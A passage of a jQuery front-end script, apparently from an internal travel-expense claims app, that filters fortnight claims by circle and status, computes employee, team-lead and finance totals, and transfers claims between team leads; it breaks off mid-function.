var paginationMap_globleVar = new Map();
var CURRENT_PAGENO_IN_PAGINATION_ARRAY=0;
var CURRENT_PAGE_CLAIM_STATUS="1";
var ResponseJsonDataMap_globleVar = new Map();
var REFERENCE_EDIT_IMGBILL_VALUES_MAP= new Map();
let RESPONSE_FROM_FORTNIGHTCLAIMS_REQUEST;
let CIRCLE_JSON;
var PENDING_AT_TL_CLAIMS_COUNT=0;// global variable

let NO_OF_CARD_APPEND=10;//NO_OF_EMPLOYEE_INFO_FORTNIGHT_CARD_NEED_TO_APPEND ON scroll over lazy loading
let LAZY_LOADING_START_FROM_INDEX;
let LAZY_LOADING_JSON;
 
 
 //--------------json-filter functionality-------------------------    
    
    function setFortNightResponse(jsonResponse){
        fortNightClaimsJsonSort(jsonResponse.Fn_Claims);
        RESPONSE_FROM_FORTNIGHTCLAIMS_REQUEST=jsonResponse;
    }
     function getFortNightResponse(){
         return RESPONSE_FROM_FORTNIGHTCLAIMS_REQUEST;
     }
     
    
    function setFilterFortnightClaimsWithCircleName(jsonData,circleName){
         if(jsonData){
            if(circleName==ALL_CIRCLES){
                CIRCLE_JSON=jsonData.Fn_Claims;
            }else{
                CIRCLE_JSON=jsonData.Fn_Claims.filter(index=> index.empCircle==circleName);    
            }
         }
    }
    function getFilteredFortNightClaimsWithCircleName(){
        return CIRCLE_JSON;
    }
    
    function filterFortnightClaimsWithClaimStatus(circleJson, claimStatus){
        let filteredStatusJson;
        if(claimStatus==CLAIM_TL_REJECTED){
            filteredStatusJson=circleJson.filter(index=> 
                                               index.submission_status==CLAIM_TL_REJECTED ||
                                               index.submission_status==CLAIM_FINANCE_REJECTED ||
                                               index.perminent_reject_count==PERMINENT_REJECT_EXIST);
            }else{
                filteredStatusJson=circleJson.filter(index=> index.submission_status==claimStatus);
            }
            activeFnClaimStatusIcon(claimStatus);
        return filteredStatusJson;
    }
    function inActiveAllFnClaimStatusIcons() {
     $(".countIcons_div .countIconTag").removeClass('active');
    }
    function activeFnClaimStatusIcon(claimStatus) {
     $(".searchEmployeeInfo .countIcons_div .countIconTag[data-claimstatusvalue="+claimStatus+"]").addClass('active');
    }
 // --------------------------------end(json-filter functionality)------------------------
 
 
 
$(document).ready(
	function () {
	    //step 1 initial step all function
	    // check for duplicate window opened
	    if(window.IsDuplicate())
	    {
	        $("#loading_page").removeClass('d-none');
	        $("#loading_page section").css({"width": "230px","height": "180px"});
	        $("#loading_page section div").html(`<i class="fas fa-exclamation m-auto" style="color: #7f6ad4!important;"></i>
	                                                    <p class="m-0 text-center pt-2" style="font-size: 12px;font-weight:600;">
	                                                        <span>This is duplicate window.</span><br> 
	                                                        <span>Multiple windows not Allowed.</span>
	                                                   </p>`);
	        
	        $(".fortNightEmpInfo_loader i").hide();
	    }else{
	        UIDecisionBaseOnDropDown();
	    }
	    
	    
	    
// date picker jqery
		$("#fromDateText,#toDateText").datepicker({
		    onClose: function () {this.focus();},
            // dateFormat: 'yy-mm-dd',
            dateFormat: 'dd-mm-yy',
            changeMonth: true,
            changeYear: true
		});
		
		$("body").tooltip({
		    selector:'[data-toggle="tooltip"]'
		});
	

		$(".navbar-nav .nav-link .fa-spinner").invisible();
		$(".TL-Finance .page-link .fa-spinner").invisible();

		LOGGED_IN_USER_ID = $("#LoggeduserId").html();
		LOGGED_IN_USER_NM = $("#LoggeduserName").html();
		LOGGED_IN_USER_MAIL = $("#LoggeduserMail").html();
		LOGGED_IN_DEPARTMENT = $("#LoggeduserDepartment").html();

		$("#retryDropDownRequest").click(function () {
		   $(this).html("<i class='fa fa-spinner fa-spin' aria-hidden='true'></i>");
			afterClickedRetryBtn();
		});
	
        $("#connectionRetryBtn").click(function(){
          let triggerId=$(this).attr("data-triggerId");
          //console.log(triggerId);
           $("#"+triggerId).trigger('click');
          $("#loading_page").addClass("d-none");
        });
        $("#close_loadingPage_btn").click(function(){
            $("#loading_page").addClass("d-none");
        });


		/*---------------------------------------------------------------------------------------*/
		/*--popover functionality--*/
		/*---------------------------------------------------------------------------------------*/

		//popover on click user profile
		$('[data-toggle="popover"]').popover({
			placement: 'left',
			trigger: 'hover',
			html: true,
			sanitize: false,
		     storage: false,
		     selector: false,
		     //            trigger: 'focus',
		     content: function () {
		         return '<table style="font-size: 12px;">'+
		                    '<tbody>'+
		                        '<tr><th>Name: </th><td style="word-break: break-all">'+LOGGED_IN_USER_NM+'</td></tr>'+
		                        '<tr><th style="width: 30%;">Email: </th><td style="word-break: break-all">'+LOGGED_IN_USER_MAIL+'</td></tr>'+
		                        '<tr><th>Designation:</th><td style="border: 0!important;">'+LOGGED_IN_DEPARTMENT+'</td></tr>'+
		                      '</tbody>'+
		                  '</table>';
		     }
		});
		
		//popover on click user profile
		$('[data-toggle="getGrandTotalAmount_Popover"]').popover({
			placement: 'top',
			trigger: 'click',
			html: true,
			sanitize: false,
		     storage: false,
		     selector: false,
		     //            trigger: 'focus',
		     content: function () {
                         return '<div id="grandTotal_popTableDiv" class="ml-auto bg-white py-3 text-center rounded" style=" box-shadow: 1px 1px 7px 1px #d8d8d8;">'+
		                    '<h6 class="mb-0 d-inline-block text-center m-auto">Grand Total:-</h6>'+
                                '<table  class="claim_status_symbols  d-inline-block mb-0  px-0 py-3 text-left">'+
                                    '<tbody>'+
                                        '<tr>'+
                                            '<th colspan=2 class="pl-3">Department</th><th>Total FTA</th><th>Total Other Bills</th><th>Total Hotel Bills</th><th>Final Amount</th>'+
                                        '</tr>'+
                                        '<tr>'+
                                                '<td> <i class="fa fa-check-square text-warning mx-1"></i> </td><td>Employee claimed: </td>'+
                                                '<td><span id="EngineerTotalFtaValue"></span></td>'+
                                                '<td><span id="EngineerTotalOtherBillsValue"></span></td>'+
                                                '<td><span id="EngineerTotalHotelBillsValue"></span></td>'+
                                                '<td><span id="EngineerGrandTotalValue" class="font-weight-bold"></span></td>'+
                                        '</tr>'+
                                        '<tr>'+
                                                '<td> <i class="fa fa-check-square text-primary mx-1"></i> </td><td>TL Approved: </td>'+
                                                '<td><span id="TeamLeadTotalFtaValue"></span></td>'+
                                                '<td><span id="TeamLeadTotalOtherBillsValue"></span></td>'+
                                                '<td><span id="TeamLeadTotalHotelBillsValue"></span></td>'+
                                                '<td><span id="TeamLeadGrandTotalValue" class="font-weight-bold"></span></td>'+
                                        '</tr>'+
                                        '<tr>'+
                                               '<td style="border-top: 0!important;"><i class="fa fa-check-square text-violate mx-1"></i> </td><td>Finance Approved</td>'+
                                               '<td><span id="FinanceTotalFtaValue"></span></td>'+
                                               '<td><span id="FinanceTotalOtherBillsValue"></span></td>'+
                                               '<td><span id="FinanceTotalHotelBillsValue"></span></td>'+
                                               '<td><span id="FinanceGrandTotalValue" class="font-weight-bold"></span></td>'+
                                        '</tr>'+
                                    '</tbody>'+
                                    '</table>'+
                                    '<p class="text-left pl-2" style="font-size: 12px;">'+
                                        '<b>No of Working Days: </b><span id="EngNoOfWorkingDays"></span><br>'+
                                        '<b>No of Site visits: </b><span id="EngNoOfSiteVisitCount"></span>'+
                                    '</p>'+
                        '</div>';
		     }
		});
		
		//popover on click user profile
		$('[data-toggle="claim_status_guideDate__Popover"]').popover({
			placement: 'top',
			trigger: 'click',
			html: true,
			sanitize: false,
		     storage: false,
		     selector: false,
		     //            trigger: 'focus',
		     content: function () {
		         return '<div  class="ml-auto mr-2 bg-white py-3 text-center  rounded" style=" width: 168px; box-shadow: 1px 1px 7px 1px #d8d8d8;">'+
                                        '<h6 class="mb-0 d-inline-block text-center m-auto">Claim status:-</h6>'+
                                        '<ul class="claim_status_symbols d-inline-block mb-0  px-0 py-3 text-left" style="list-style: none;">'+
                                             '<li> <i class="fa fa-check-square text-secondary ml-3 mr-2"></i><span>Claim Not Submitted</span> </li>'+
                                             '<li> <i class="fa fa-check-square text-warning ml-3 mr-2"></i><span>Claim Pending</span> </li>'+
                                             '<li> <i class="fa fa-check-square text-primary ml-3 mr-2"></i><span>TL Approved</span></li>'+
                                             '<li><i class="fa fa-check-square  text-danger ml-3 mr-2"></i><span>Rejected</span></li>'+
                                             '<li><i class="fa fa-times  text-danger ml-3 mr-2"></i><span>Permenent Rejected</span></li>'+
                                             '<li><i class="fa fa-check-square text-violate ml-3 mr-2"></i><span>Finance Approved</span></li>'+
                                             '<li><i class="fa fa-check-square  ml-3 mr-2" style="color: #00ff1f !important;"></i><span>Finance Paid</span></li>'+
                                        '</ul>'+
                                 '</div>';
		     }
		});
	
		/*---------------------------------------------------------------------------------------*/

		// eg:-if excel-type =bulk selected then removing required for empid*
		$('#typeOfExcelSelect').on('change', function () {
			var selectedTypeOfExcel = $(this).val();
			//console.log(selectedTypeOfExcel);

			if (selectedTypeOfExcel == "individual") {

				$("#execelEmpID").prop('required', true);
				$("#execelEmpID").val('');
				$(".modal-body .employeeId").show();
			} else if (selectedTypeOfExcel == "bulk") {
				$(".modal-footer #message").html("");
				$("#execelEmpID").removeAttr('required');
				$(".modal-body .employeeId").hide();
				$(".form-control.dateInput").removeAttr("disabled");
				$("#search").removeAttr("disabled");
			}

		});
		$('.dropdown-item.downLoadExcelbtn').click(function () { // for every time onclick download button individual type need to selected.
			$('#typeOfExcelSelect').val('individual');
			$(".modal-body .employeeId").show();
			$("#execelEmpID").prop('required', true);
		});


		/*---------------------------------------------download excel limit 2 months------------------------------------*/
		$("#downloadExcelFormId .dateInput").change(function () {
			$("#message").empty();
			$("#search").removeAttr("disabled");
			let fromdate = new Date($("#fromdate").val());
			let todate = new Date($("#todate").val());
			let difference_in_time = todate.getTime() - fromdate.getTime();
			let difference_in_days = difference_in_time / (1000 * 3600 * 24);
			let message;
			if (!isNaN(difference_in_days)) {
				if (difference_in_days < EXCEL_NUMBER_OF_DAYS_RECORDS) {
					if (difference_in_days < 0) {
						message = "Please Enter Valid Dates";
						$("#search").attr("disabled", "true");
					}
				} else {
					message = "Only 60 days records allowed";
					$("#search").attr("disabled", "true");
				}
			}
			$("#message").html(message);
		});



		/*--------------------------------------------------------------------------------------------------------*/
		/*-----------------------------------sticky pagination------------------------------------------------------*/

		/*-----------------------------------end------------------------------------------------------*/

    
    
//------------------------------------ fortnight sideNavbar functionality-----------------------
    
        let fromDateYear=FTA_APP_LAUNCHED_YEAR;//constant in main js file
        let currentYear=new Date().getFullYear();
        let optionsYearUi='';
        for(let index=fromDateYear;index<=currentYear;index++){
            optionsYearUi+='<option value="'+index+'">'+index+'</option>';
        }
        $("#SearchInputFortNight_form select.yearDropDown").html(optionsYearUi);
        $("#SearchInputFortNight_form select.yearDropDown").val(new Date().getFullYear());// current year
        $("#SearchInputFortNight_form select.monthDropDown").val(ALL_MONTHS);// current months
            
        
        $(".localSearchNameEmpCircle select.circleDropDown").change(function(){
            inActiveAllFnClaimStatusIcons();
            let thisCircleName=$(this).val();
            setFilterFortnightClaimsWithCircleName(getFortNightResponse(),thisCircleName);
            appendFortnightEmpInfoDynamicUI(getFilteredFortNightClaimsWithCircleName(),true);
        });

        
        $(".countIcons_div .countIconTag").click(function(){
            $("#sideNavSearch_Input").val('');
            inActiveAllFnClaimStatusIcons();
            let claimStatus=$(this).attr("data-claimStatusValue");
             activeFnClaimStatusIcon(claimStatus);
            if(getFilteredFortNightClaimsWithCircleName()){
                let filteredData=filterFortnightClaimsWithClaimStatus(getFilteredFortNightClaimsWithCircleName(), claimStatus)
                 appendFortnightEmpInfoDynamicUI(filteredData,false);
            }else{
                console.log('else'+CIRCLE_JSON);
            }

    });
    
    $("#sideNavSearch_Input").keypress(function(e){
        inActiveAllFnClaimStatusIcons();
        let key = e.which;
        let searchKey=$(this).val().trim().toLowerCase();
         let searchKeyLength=searchKey.length;
         console.log(searchKeyLength);
          if(key == 13){ // the enter key code
             if(searchKeyLength==0){
                    appendFortnightEmpInfoDynamicUI(getFilteredFortNightClaimsWithCircleName(),true);  
             }else{
                
                let json;
                if(getFilteredFortNightClaimsWithCircleName()){
                   json=getFilteredFortNightClaimsWithCircleName().filter(index=> index.empId.toLowerCase().indexOf(searchKey) > -1  || index.empName.toLowerCase().indexOf(searchKey) > -1);
                   appendFortnightEmpInfoDynamicUI(json,false);
                }
             }
          }
    });

            
//------------------------------------end------------------------------------
    
 
});
//-------------------------universal function---------------------------
    
    function calculateFortNightGrandTotalAmount(){
        
        let engNoOf_workingdays=engSumAmnt=engFtaAmnt=engHotelAmnt=engOtherAmnt=TLSumAmnt=TLFtaAmnt=TLHotelAmnt=TLOtherAmnt=FinanceSumAmnt=FinanceFtaAmnt=FinanceHotelAmnt=FinanceOtherAmnt=0;
        
         $("table #inserted_tableBody_data tr.getGrandTotalReference_class").each(function(){// these is given for first row of( same site_visit_date) in audit details
             engNoOf_workingdays++;
             let currentClaimStatus_LoopValue=$(this).children(".claimStatusTd").children("i.claimStatusIcon").attr("data-claimstatus");
             let currentEmpTotAmnt_LoopValue=checkForNullValue($(this).children(".engTotalAmountValue_class").html()); // if html value is (null or undefine) then value ==0
             let currentEmpHotelAmnt_LoopValue=checkForNullValue($(this).children(".engHotelAmountValue_class").html());
             let currentEmpOtherAmnt_LoopValue=checkForNullValue($(this).children(".engOtherAmountValue_class").html());
             let currentTLTotAmnt_LoopValue=checkForNullValue($(this).children(".TLTotalAmountValue_class").html());
             let currentTLHotelAmnt_LoopValue=checkForNullValue($(this).children(".TLHotelAmountValue_class").html());
             let currentTLOtherAmnt_LoopValue=checkForNullValue($(this).children(".TLOtherAmountValue_class").html());
             let currentFinanceTotAmnt_LoopValue=checkForNullValue($(this).children(".financeTotalAmountValue_class").html() || 0); // if not found assing 0
             let currentFinanceHotelAmnt_LoopValue=checkForNullValue($(this).children(".financeHotelAmountValue_class").html() || 0);// if not found assing 0
             let currentFinanceOtherAmnt_LoopValue=checkForNullValue($(this).children(".financeOtherAmountValue_class").html() || 0);// if not found assing 0
             
            //totalAmount= FTA + DAamount + Hote
            let engSumValues=()=>{
                engSumAmnt+=Number(currentEmpTotAmnt_LoopValue);
                engHotelAmnt+=Number(currentEmpHotelAmnt_LoopValue);
                engOtherAmnt+=Number(currentEmpOtherAmnt_LoopValue);
            }
           
            let TLSumValues=()=>{
            TLSumAmnt+=Number(currentTLTotAmnt_LoopValue);
            TLHotelAmnt+=Number(currentTLHotelAmnt_LoopValue);
            TLOtherAmnt+=Number(currentTLOtherAmnt_LoopValue);
            }
            
            let FinanceSumValues=()=>{
              //  alert(currentFinanceTotAmnt_LoopValue);
            FinanceSumAmnt+=Number(currentFinanceTotAmnt_LoopValue);
            FinanceHotelAmnt+=Number(currentFinanceHotelAmnt_LoopValue);
            FinanceOtherAmnt+=Number(currentFinanceOtherAmnt_LoopValue);
            }
            
             switch (Number(currentClaimStatus_LoopValue)) {
    			case Number(CLAIM_IN_EMP_BUCKET): //claim pending at emp
    				break;
    			case Number(CLAIM_PENDING): //claim pending at tl
    			    engSumValues();
    				break;
    			case Number(CLAIM_TL_APPROVED): //tl  approved
        			TLSumValues();
        			engSumValues();
    				break;
    			case Number(CLAIM_TL_REJECTED): //tl reject
    			case Number(CLAIM_PERMANENT_TL_REJECT): //tl Parmanent reject
    			    engSumValues();
    				break;
    			case Number(CLAIM_FINANCE_APPROVED): //Finance Approved
        			engSumValues();
        			TLSumValues();
        			FinanceSumValues();
    				break;
    			case Number(CLAIM_FINANCE_REJECTED): //finance reject
    			case Number(CLAIM_PERMANENT_FINANCE_REJECT): //finance reject
        			engSumValues();
        			TLSumValues();
    				break;
    			case Number(CLAIM_PAID):// finance paid
        			engSumValues();
        			TLSumValues();
        			FinanceSumValues();
    				break;

		    }
            
             
        });
         
         $('table #inserted_tableBody_data tr[class^="data-content_"]').each(function(){
             let currentLoopFTA_Value=checkForNullValue($(this).children('td.engFTAValue_td_class').children('.FTAInputField').val());
             engFtaAmnt+=Number(currentLoopFTA_Value);
         });
         
         

        $("#GrandTotalAmount_btn").click(function(){
           // alert(engSumAmnt);
            let engNoOf_siteVisitCount=$(".divEmployeeInfo.active .emp_noOfSiteVisitCount").html();
            $("#EngNoOfSiteVisitCount").html(engNoOf_siteVisitCount); 
              
            $("#EngNoOfWorkingDays").html(engNoOf_workingdays);
            $("#EngNoOfSiteVisitCount").html(setSiteVisitCount());
            
            $("#EngineerTotalFtaValue").html(engFtaAmnt);
            $("#EngineerGrandTotalValue").html(engSumAmnt);
            $("#EngineerTotalHotelBillsValue").html(engHotelAmnt);
            $("#EngineerTotalOtherBillsValue").html(engOtherAmnt);
            
            $("#TeamLeadTotalFtaValue").html(engFtaAmnt);
            $("#TeamLeadGrandTotalValue").html(TLSumAmnt);
            $("#TeamLeadTotalHotelBillsValue").html(TLHotelAmnt);
            $("#TeamLeadTotalOtherBillsValue").html(TLOtherAmnt);
            
            $("#FinanceTotalFtaValue").html(engFtaAmnt);
            $("#FinanceGrandTotalValue").html(FinanceSumAmnt);
            $("#FinanceTotalHotelBillsValue").html(FinanceHotelAmnt);
            $("#FinanceTotalOtherBillsValue").html(FinanceOtherAmnt);
            
            $("#grandTotal_popTableDiv").parent().parent(".popover").css("max-width", "450px");
        });
        

        
    }
    
            let checkForNullValue=(value)=>{
            if(value=="null" || value==null){
                    value=0;
            }
            return value;
        }
        let setSiteVisitCount=()=>{
            let siteVisitCount=0;
            $("#main_tableTag td.siteID_tableData").each(function(){
                let returnJourney=($(this).html()).includes("Return_Journey_F_");//if siteId includes 'Return_Journey_F_'=>true
                if(!returnJourney){
                    siteVisitCount++;
                }
            });
            return siteVisitCount;
        } 

    
    function localStorageNavKeyClear(){
        window.localStorage.removeItem("claimStatus");
        window.localStorage.removeItem("monthValue");
        window.localStorage.removeItem("yearValue");
        window.localStorage.removeItem("circleName");
    }
    function constructCircleDropDown(JsonArray){
        let circleNameArray=[];
        $.each(JsonArray, function(index,value){
            if(!($.inArray(value.empCircle, circleNameArray) > -1)){// checking for duplicate circleNames
    	        circleNameArray.push(value.empCircle);
            }
        });
        circleNameArray.sort();
        circleNameArray.unshift(ALL_CIRCLES);
        let optionsCircleUi='';
        for(let index=0;index<circleNameArray.length;index++){
            if(circleNameArray[index]!="" && circleNameArray[index]!=null){
            optionsCircleUi+='<option value="'+circleNameArray[index]+'">'+circleNameArray[index]+'</option>';
            }else{
             optionsCircleUi+='<option value="'+circleNameArray[index]+'">EmpCircle NotUpdated</option>';  
            }
        }
        $(".localSearchNameEmpCircle select.circleDropDown").html(optionsCircleUi);
    }

 

/*-----------------------------------------------------------------------------*/
/*function to fetch Data from server and Creating UI By Binding these Values as Table*/
/*-----------------------------------------------------------------------------*/
function fetchDataCreatingUIAndBindingValues(jsonRawData, getClaimStatus, map) {
	window.mergeCount = 0; //global variable



	var selectedTabRelatedTableDataValueFields = new SelectedTabRelatedTableDataValueFields();
	// object created for class in selectedTabRelatedTableDataValueFields.js
	for (var index = 0; index < jsonRawData.length; index++) {
		var presentIndexRowValue;
		presentIndexRowValue = jsonRawData[index];

		$('#inserted_tableBody_data').append(checkSelectedTabAndDepartment(selectedTabRelatedTableDataValueFields, presentIndexRowValue, index, getClaimStatus, map));
      
	}
	//after succesfully appended table data

	if(PENDING_AT_TL_CLAIMS_COUNT==getNoOfWorkingDays()){
	    $(".empInfoCards .divEmployeeInfo.active .transferFortNightClaimBtn").show();
	}
	changeColspanValueAndImageBillRowWidthOnTabchange(getClaimStatus); //function call
	onClickActionOnMap();
		calculateFortNightGrandTotalAmount();
	$(".table-scroll .sticky-column.col2").css("left", "28.3px");
	$(".table-scroll .sticky-column.col3").css("left", "71.2px");
	$(".table-scroll .sticky-column.col4").css({"left":"186.7px", "padding": "0 3px"});
	$(".table-scroll .sticky-column.col5").css("left", "225px")
	$(".table-scroll .sticky-column.col6").css({
		"left": "242px",
		"border-right": "1px solid #e0e4e8"
	});
	$('td select.deputationAllowancesDD').on('change', function () {
		var value = this.value;
		var data_commonId = $(this).attr("data-common-id");
		onChangeDeputationAllowances(value, data_commonId); //function call
	});


	/*--------------------------------distance functionality--------------------------*/
	// Distance edit button
	$('td i.distanceEditBtn').click(function () {

		let empid_date = $(this).attr("data-common-id");
		let rowindex = $(this).attr("data-index");
		//alert(input_id);
		$("#distanceInput_" + empid_date + "_" + rowindex).removeAttr("disabled");

	});
	// onchange Distance calculate the total distance
	$('input.distanceInputField').on('input', function() {
	    checkForInputFieldNotEmpty($(this));
		let totalDistance = 0;
		let empId_date = $(this).attr("data-common-id");
		$("input.distanceInput_" + empId_date).each(function () {
			totalDistance += Number($(this).val());

		});
		let DaAmount = Number($("#editableDaAmount_" + empId_date).html());
		let totalOtherBill = Number($("#editableTotalOtherBillAmount_" + empId_date).html());
		let totalHotelBill = Number($("#editableTotalHotelBillAmount_" + empId_date).html());
		let totalDistanceFTAamount = findFTA(totalDistance);
		let count = 0;
		let totalFTAamount = totalDistanceFTAamount;
		$("input.FTAinput_" + empId_date).each(function () {
			if (count != 0) {
				totalFTAamount += Number($(this).val());
			}
			count++;
		});
		//console.log("totalFTAamount" + totalFTAamount + "DaAmount" + DaAmount + "totalOtherBill" + totalOtherBill + "totalHotelBill" + totalHotelBill);
		let finalAmount = totalFTAamount + DaAmount + totalOtherBill + totalHotelBill;
		updateUiValuesOnChangeOfDistance(totalDistance, totalDistanceFTAamount, finalAmount, empId_date);

	});

	/*--------------------------------end distance functionality--------------------------*/
	/*--------------------------------FTA functionality--------------------------*/
	//  edit button
	$('td i.ftaEditBtn').click(function () {

		let empId_date = $(this).attr("data-common-id");
		let rowindex = $(this).attr("data-index");
		//alert(input_id);
		$("#FTAinput_" + empId_date + "_" + rowindex).removeAttr("disabled");

	});
	// onchange FTA calculate the FTA distance
	$('input.FTAInputField').on('input', function() {
	    checkForInputFieldNotEmpty($(this));
		let totalFTAamount = 0;
		let empId_date = $(this).attr("data-common-id");

		$("input.FTAinput_" + empId_date).each(function () {
			totalFTAamount += Number($(this).val());
		});
		let DaAmount = Number($("#editableDaAmount_" + empId_date).html());
		let totalOtherBill = Number($("#editableTotalOtherBillAmount_" + empId_date).html());
		let totalHotelBill = Number($("#editableTotalHotelBillAmount_" + empId_date).html());
		let finalAmount = totalFTAamount + DaAmount + totalOtherBill + totalHotelBill;
		//console.log(finalAmount);
		updateUiValuesOnChangeOfFTAamount(finalAmount, empId_date);
	});

	/*--------------------------------end distance functionality--------------------------*/


	/*-------------------------------------on change project functionality--------------------------*/
	$("td select.projectDD").change(function () {
		let empId_date = $(this).attr("data-common-id");
		let rowindex = $(this).attr("data-index");
		let siteVisitOrder = $(this).attr("data-siteVisitOrder");
		let onChangedVal = $(this).val();
		let optionTagUI_stageOfAuditDD = getSelectDropDownList(onChangedVal); // appending new stageOfAudit-option tag aacording to project chnage
		//console.log();
		$("#stageOfAudit_" + empId_date + "_" + rowindex).html(optionTagUI_stageOfAuditDD);
	});
	/*--------------------------------end on change_project  functionality--------------------------*/

	// changing reason text-color according to user selected claimStatus
	$(".reportSubmittingForm input.form-check-input").click(function () {
		let claimStatus = $(this).val();
		let empId_date = $(this).attr("data-common-id");
		let common_index=$(this).attr("data-index");
		switch (claimStatus) {
		    
			case CLAIM_UNDO://undo
			$("#reasonPara_" + empId_date).empty();
				break;
			case CLAIM_TL_APPROVED://approved
				$("#reasonPara_" + empId_date).css("color", "#007bff");
				break;
			case CLAIM_TL_REJECTED://tl reject
			case CLAIM_PERMANENT_TL_REJECT://tl permanent reject
				$("#reasonPara_" + empId_date).css("color", "red");
				break;
			case CLAIM_FINANCE_APPROVED://finan approved
				$("#reasonPara_" + empId_date).css("color", "#a618ff");
				break;
			case CLAIM_FINANCE_REJECTED://fin rejct
			case CLAIM_PERMANENT_FINANCE_REJECT:
				$("#reasonPara_" + empId_date).css("color", "red");
				break;
			case CLAIM_PAID://paid
			    let duplicateBtnUi='';
			    let paidDateHTML="<strong>Paid date: </strong><input id='reasonPara_paidDate_"+empId_date+"' class='paidDateInputField' type='date' required />";
			    if(common_index==0){
			        duplicateBtnUi="<a id='duplicatePaidDateBtn' data-common-id='"+empId_date+"'>Duplicate</a>";
			    }
			    $("#reasonPara_" + empId_date).removeClass("d-none");
				$("#reasonPara_" + empId_date).html(paidDateHTML+duplicateBtnUi);
				break;


		}
		$("#duplicatePaidDateBtn").click(function(){
		    let empId_date = $(this).attr("data-common-id");
		    let firstClaimPaidDate=$("#reasonPara_paidDate_"+empId_date).val();
		    $(".paidDateInputField").val(firstClaimPaidDate);
		    
		});
		//add class to submit btn  for all Submit funtionality
		$("#reportSubmissionBtn_"+ empId_date).addClass("active");
	});

	getReasonWritingPopover(map); //funtion call

	//report submit form function:-
	$(".reportSubmittingForm").submit(function (e) {
	    e.preventDefault();
	    let thisForm = $(this);
	    let empId_date = thisForm.attr("data-common-id");
		let claim_status=thisForm.attr("data-claimStatus");
		if(checkWheatherLogoutOrNot_InternetConnection()){
            //functionality
		    let returnValueOfTableTrLength = reportSubmissionToServer(map, e, thisForm, claim_status); //funtion call in "reportsubmission.js"
        }else{
              alertNoInternet_connection();
              $("#reportSubmissionBtn_" + empId_date).html("Retry <i class='fa d-none fa-spinner fa-spin mr-2'></i>");
        }
	});


	//on hover <tr>  background-color on same date:- will be same
	$(".table-hover tbody tr").hover(function () {

		let commonId = $(this).attr("data-commonId");
		$("." + commonId).css("background-color", "rgb(238 237 237)");
		$("." + commonId + " .sticky-column").css("background-color", "rgb(238 237 237)");
	}, function () {

		let commonId = $(this).attr("data-commonId");
		$("." + commonId).css("background-color", "#fff");
		$("." + commonId + " .sticky-column").css("background-color", "#fff");

	});
	

}


//--------------------------------transfer claim to anthor tl functionality---------------------

    
    if(AllTLDropDownData){ //check global variable in global-js file "dynamicDropdown_of_project.js" contains value or not
        getTLlistDropDownTransferClaims(AllTLDropDownData);
    }else{
        $(".retryTLDropDownRequest").show();
    }
    
    $(".retryTLDropDownRequest").click(function(){
        let responseData=fetch_ALL_TL_Name_Id(); //httprequest for Tl list file "dynamicDropdown_of_project.js"
        if(responseData){
            getTLlistDropDownTransferClaims(responseData);
        }
    });

   function getTLlistDropDownTransferClaims(AllTLDropDownDataResponse){
                $(".retryTLDropDownRequest").hide();
                let responseOfAllTL_API=AllTLDropDownDataResponse["success"]["tlList"];
                let tlDropDownUi='<option value="" disabled  selected style="display:none;">Select TL</option>';
                $.each(responseOfAllTL_API, function(index, value){
                    tlDropDownUi+="<option value='"+value.tlid+"_"+value.tlname+"'>"+value.tlid+"("+value.tlname+")</option>";
                });
                $(".allTLDropDownList").html(tlDropDownUi);
    }
    
    // 1) ----individual claim transfer------------
    $("#inserted_tableBody_data").on("click","td button.transferClaimBtn", function(){
        $("#transferClaimSubmitbtn").show();
        transferClaimSubmitBtn("Transfer Claim");
        $("#form_transferClaimModal .messagePara").empty();
        let commonIndex=$(this).attr("data-common-id");
        let serialNo=$(this).attr("data-index");
        $("#transferClaimModal .empName").val($("#empName_"+commonIndex).html());
        $("#transferClaimModal .empId").val($("#empId_"+commonIndex).html());
         $("#transferClaimModal .siteVisitDate").val($("#siteVisitDate_"+commonIndex).html());
         $("#transferClaimModal .claimSerialNo").val(serialNo);
    });

    $("#form_transferClaimModal").submit(function(e){
      e.preventDefault();
      let convertToObj={};
      transferClaimSubmitBtn("<i class='fa fa-spinner fa-spin'></i>");
      $.each($(this).serializeArray(), function(i, obj){
          if(obj.name=="allTLDropDownList"){
             let TL_Value= obj.value.split("_");
             let TL_empID=TL_Value[0];
             let TL_empName=TL_Value[1];
             convertToObj["TLName"]=TL_empName;
             convertToObj["TLId"]=TL_empID;
          }else{
          convertToObj[obj.name]=obj.value;
          }
      });
      let postContent=JSON.stringify(convertToObj);
      console.log(postContent);
        let returnResponse=postDataHttpRequest("php/TransferClaimToAnotherTL.php",postContent);
        console.log(returnResponse);
        returnResponse.then((result)=>{
            
            if(result=="UPDATED"){
             let refId=convertToObj["empId"]+"_"+convertToObj["siteVisitDate"];
             let indexvalue=convertToObj["claimSerialNo"];
             let serialNo=$("#sNo_"+refId+"_"+indexvalue).html();
             
             $("#transferClaimSubmitbtn").hide();
             $("#form_transferClaimModal .messagePara").html("Claim Sucssefully transfered.");
             deleteTheTableRowOnSuccess(refId,serialNo);
             let remainingPendingcount=$("#TL_newClaims .countIconTag.noOfNewClaims");
             let updatedCountAfterTransfr=Number(remainingPendingcount.html())-1;
                 remainingPendingcount.html(updatedCountAfterTransfr);
             }else{
                $("#form_transferClaimModal .messagePara").addClass("text-danger");
                $("#form_transferClaimModal .messagePara").html("Internal error 500 try again later.");
                transferClaimSubmitBtn("<i class='fas fa-redo'></i>");
             }
        })
        .catch((error)=>{
                $("#form_transferClaimModal .messagePara").addClass("text-danger");
                $("#form_transferClaimModal .messagePara").html("Ajax error try again later.");
                transferClaimSubmitBtn("<i class='fas fa-redo'></i>");
        })
        .finally(()=>{
            console.log("response ended");
        });
    
    });
    //1) end----------
    
    // 2) fortNight Cliams transfer-------------------------
    
       $("#sideNavBarMain").on("click",".divEmployeeInfo td button.transferFortNightClaimBtn", function(){
        $("#form_transferFortNightClaimModal .messagePara").empty();
        let empName=$(this).attr("data-empName");
        let empId=$(this).attr("data-empid");
        let fromDate=$(this).attr("data-fromDate");
        let toDate=$(this).attr("data-toDate");
        let fortNight=$(this).attr("data-fortnight");
        $("#transferFortNightClaimModal .empName").val(empName);
        $("#transferFortNightClaimModal .empId").val(empId);
        $("#transferFortNightClaimModal .fortNight").val(fortNight);
        $("#transferFortNightClaimModal .fromDate").val(fromDate);
        $("#transferFortNightClaimModal .toDate").val(toDate);
    });
    
    $("#form_transferFortNightClaimModal").submit(function(e){
        e.preventDefault();
        let convertToObj={};
        $("#transferFortNightClaimSubmitbtn").html("<i class='fa fa-spinner fa-spin'></i>");
        $.each($(this).serializeArray(), function(i, obj){
            if(obj.name=="allTLDropDownList"){
                let TL_Value= obj.value.split("_");
                let TL_empID=TL_Value[0];
